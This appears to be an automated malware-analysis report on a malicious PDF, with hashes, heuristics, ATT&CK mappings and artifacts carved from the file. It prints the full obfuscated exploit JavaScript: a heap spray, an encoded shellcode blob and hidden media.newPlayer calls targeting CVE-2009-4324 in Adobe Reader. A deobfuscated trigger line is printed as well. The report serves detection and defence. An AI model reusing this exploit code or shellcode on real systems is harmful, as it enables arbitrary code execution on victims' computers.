Malicious PDF — malware analysis report

Static analysis result for SHA-256 87a4105224ea3d1a…

MALICIOUS

PDF

146.8 KB Created: 2010-06-29 10:14:47 +08:00 Authoring application: Acrobat 编辑器 8.0 (via Adobe Acrobat 8.0) First seen: 2026-05-10
MD5: 10c35deb541e58b115ea2c682edb26ea SHA-1: 6d29576b03dd802e20891848be254a9d1c002d4d SHA-256: 87a4105224ea3d1a3f7375de7a6cda3150539f989795077fe1cc95c777338125
350 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that exploits CVE-2009-4324 via the media.newPlayer API. This technique is commonly used to achieve arbitrary code execution. The JavaScript is heavily obfuscated but appears to be designed to download and execute a secondary payload, as indicated by the 'heap_spray' behavior and the use of 'unescape'.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9996

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • ClamAV: Pdf.Exploit.Agent-30091 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Exploit.Agent-30091
  • Secondary embedded PDF body has suspicious static findings critical POLYGLOT_CHILD_PDF_STATIC_TRIAGE
    A valid PDF body was found at a nonzero offset inside another container and its carved contents matched PDF exploit or lure heuristics. This catches polyglots where the top-level magic routes to ZIP/OLE while a PDF reader or downstream parser opens the hidden PDF payload.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    var sc =  unescape(urpl("%Zc8d9%Z74d9%Zf424%Zeeba%Ze0ec%Z29de%Z5fc9%Z37b1%Z5731%Z8314%Z1001%Z2602%Z4207%Zdee0%Z55ee%Zdee4%Zecee%Zbabf%Zdc4f%Zdee0%Z67ee%Zd2a0%Z9c65%Z73fc%Z8465%Z8fe8%Z9965%Z55dc%Zc29a%Zdd98%Zba1b%Za86b%Zefce%Zed15%Za527%Z73a1%Z29ed%Z05d3%Z52e1%Ze6f0%Z981c%Z1fe8%Ze125%Z04e3%Z07ae%Ze511%Z99f1%Z8007%Zb265%Zddc4%Z8a33%Zd26b%Z67a5%Zc2be%Z31ed%Zda6b%Zef65%Z7525%Z0eb7%Zed5c%Z6f35%Zda23%Zec84%Z21b3%Z10b9%Zd9db%Z1f9b%Z8169%Z7512%Z8cb2%Z9b11%Z21e4%Z1099%Z891f%Z7516%Z9e8a%Zec86%Zdef0%Z13ee% …
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Object number defined twice with different bodies info PDF_DUPLICATE_OBJ_BODY_INCREMENTAL
    The same indirect object (N G) is defined more than once with different body bytes. First-wins and last-wins readers will resolve different content, which is a parser-confusion shape used by targeted PDFs. Body-only differences are common in benign incremental updates, so severity is raised only when the duplicate carries active content.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.monotype.comhttp://www.monotype.com/html/type/license.html In PDF document text
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text
    • http://www.monotype.com/html/mtname/ms_timesnewroman.htmlhttp://www.monotype.com/html/mtname/ms_welcome.htmlNOTIFICATIONIn PDF document text

Extracted artifacts 8

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0021_000.js pdf-javascript-stream PDF /JS object 21 at offset 0x514 2773 bytes
SHA-256: c3bed97aa744b5a96c693e1954302943f943e4f19293b8219fdc45455829e493
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s). Carved artifact contains 1 long hex-escaped blob(s).
Preview script
First 1,000 lines of the extracted script
var TCfIpiOxOYTTeNgDQsDQaDtVjQ;
for(i=0;i<18000;i++)
TCfIpiOxOYTTeNgDQsDQaDtVjQ = TCfIpiOxOYTTeNgDQsDQaDtVjQ+0x70;

function urpl(sc){
var keyu= "u";
var re = /Z/g;
sc = sc.replace(re,keyu);
return sc;
}
function TTD()   
{   
    var lenth = 36000 - sc["\x6c\x65\x6e\x67\x74\x68"];
    lenth = lenth/2;
    this._strings = new Array;   
}   
  
TTD.prototype.append = function(str)   
{   
    this._strings.push(str);   
    return this;   
}   
  
TTD.prototype.toString = function()   
{   
    return this._strings.join("");   
}   
  

TTD.prototype.length = function()   
{   
    var str = this._strings.join("");   
    return str.length;   
}   

var a = "\x6D\x65\x64";
var c = "\x69\x61";
var b = "\x6E\x65\x77\x50\x6C\x61\x79";
var d = "\x65\x72";
var sc =  unescape(urpl("%Zc8d9%Z74d9%Zf424%Zeeba%Ze0ec%Z29de%Z5fc9%Z37b1%Z5731%Z8314%Z1001%Z2602%Z4207%Zdee0%Z55ee%Zdee4%Zecee%Zbabf%Zdc4f%Zdee0%Z67ee%Zd2a0%Z9c65%Z73fc%Z8465%Z8fe8%Z9965%Z55dc%Zc29a%Zdd98%Zba1b%Za86b%Zefce%Zed15%Za527%Z73a1%Z29ed%Z05d3%Z52e1%Ze6f0%Z981c%Z1fe8%Ze125%Z04e3%Z07ae%Ze511%Z99f1%Z8007%Zb265%Zddc4%Z8a33%Zd26b%Z67a5%Zc2be%Z31ed%Zda6b%Zef65%Z7525%Z0eb7%Zed5c%Z6f35%Zda23%Zec84%Z21b3%Z10b9%Zd9db%Z1f9b%Z8169%Z7512%Z8cb2%Z9b11%Z21e4%Z1099%Z891f%Z7516%Z9e8a%Zec86%Zdef0%Z13ee%Zd697%Z13bc%Z2ab7%Zab67%Zb418%Z61ee%Z2aa7%Z13be%Zd697%Z9b11%Z2118%Z1099%Z891f%Z671e%Zd2af%Zab65%Z1e18%Z2ee6%Zee60%Zac4c%Z2902%Zbb11%Z3618%Z13a3%Z211f%Z89f8%Zce1a%Z26ba%Z4f4f%Ze442%Za83a%Z7743%Z019d%Za788%Zdee2%Zce2c%Zdee0%Zfc59%Zdee2%Zeec2%Zdee0"));
var nop =  unescape("\x25\x750c0c");
var e = "\x6E\x65\x77\x20\x44\x61\x74\x65\x28\x29";
var f = "\x70\x40\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31";
var g = "\x20\x3A\x20\x79\x79\x79\x79\x31\x31\x31";
var str1=unescape(urpl("%Z0d0c%Z0d0c%Z0d0c%Z0d0c%Z4170%Z6d7a%Z554b%Z4d67%Z794f%Z514f%Z6f4d%Z585a%Z764f%Z4c56%Z6f4b%Z4858%Z4249%Z666d%Z566f%Z625a%Z4567%Z7568%Z6a46%Z5258%Z714e%Z7961%Z7a61%Z4878%Z756b%Z754d%Z4c57%Z647a%Z5870%Z4d46%Z4462%Z4b4f"));
var h =  "\x70\x72\x69";
var i =  "\x6E\x74\x64";
var j = h+i;


function AppendLoop(ss,len)   
{   
	var TMP = new TTD();
	for(slen=0;slen<len;)
	{
	  TMP.append(ss);
	  TMP.append(ss);
	  ss = TMP.toString();
	  slen = ss["\x6c\x65\x6e\x67\x74\x68"]
	}
	return ss;
}  

nop = AppendLoop(nop,18000);

memory=new Array();
for(i=0;i<0xE00;i++) 
{
  var TMP2 = new TTD();
  TMP2.append(nop);
  TMP2.append(sc);
  memory[i] = TMP2.toString();
}
  

if(app.viewerVersion<9)
{
util[j](f+g, e);
util[j](f+g, e);
try {this[a+c][b+d](null);} catch(e) {}
util[j](f+g, e); 
}
else
{
util[j](f+g, e);
util[j](f+g, e);
try {this[a+c][b+d](null);} catch(e) {}
util[j](str1,e);

}
stream_008_off0000a2cc.bin decompressed-pdf-stream PDF FlateDecoded stream at offset 0xA2CC 104796 bytes
SHA-256: e8349260b6b3dcc7f288761e873ae9f1fd12497d09b47114a8fd91442450e5a0
legacy_pdfkit_stage_000.js deobfuscated-js string-concatenation normalized Acrobat API aliases at offset 0x514 126 bytes
SHA-256: 42c3f4df375ff6f58ff655cc4f88b5cc28f0dd33b978390db3538684a6219b74
Preview script
First 1,000 lines of the extracted script
media.newPlayer(null); /* AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA */
font_00_sfnt_off00007076.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x7076 24124 bytes
SHA-256: 061220fe24ac7e95a33cac014701124cd405460cd1dc957bba7c34f215748add
font_02_sfnt_off00018a67.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x18A67 65308 bytes
SHA-256: 4e5138ae8f5850d509dc251afa7bf7f766184ed2f416c0ebb52a829e11df91c3
font_03_sfnt_off00020601.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x20601 22272 bytes
SHA-256: 5a0e05d898501976e5589c6e5bf28b2cf6fefb8a2fdca6225ff60e226ca7a992
polyglot_child_pdf_off000066fe.pdf polyglot-child-pdf Secondary PDF body inside pdf container at offset 0x66FE 124008 bytes
SHA-256: 01a857927c8a0264226b4bb8380fc0258f10c6d1c357783d54344c80c0a7845e
polyglot_child_pdf_off00023379.pdf polyglot-child-pdf Secondary PDF body inside pdf container at offset 0x23379 6125 bytes
SHA-256: 0b1c923c8a0028794f3a3244dc498786746334f394e41678cc58ffbeb707d0a8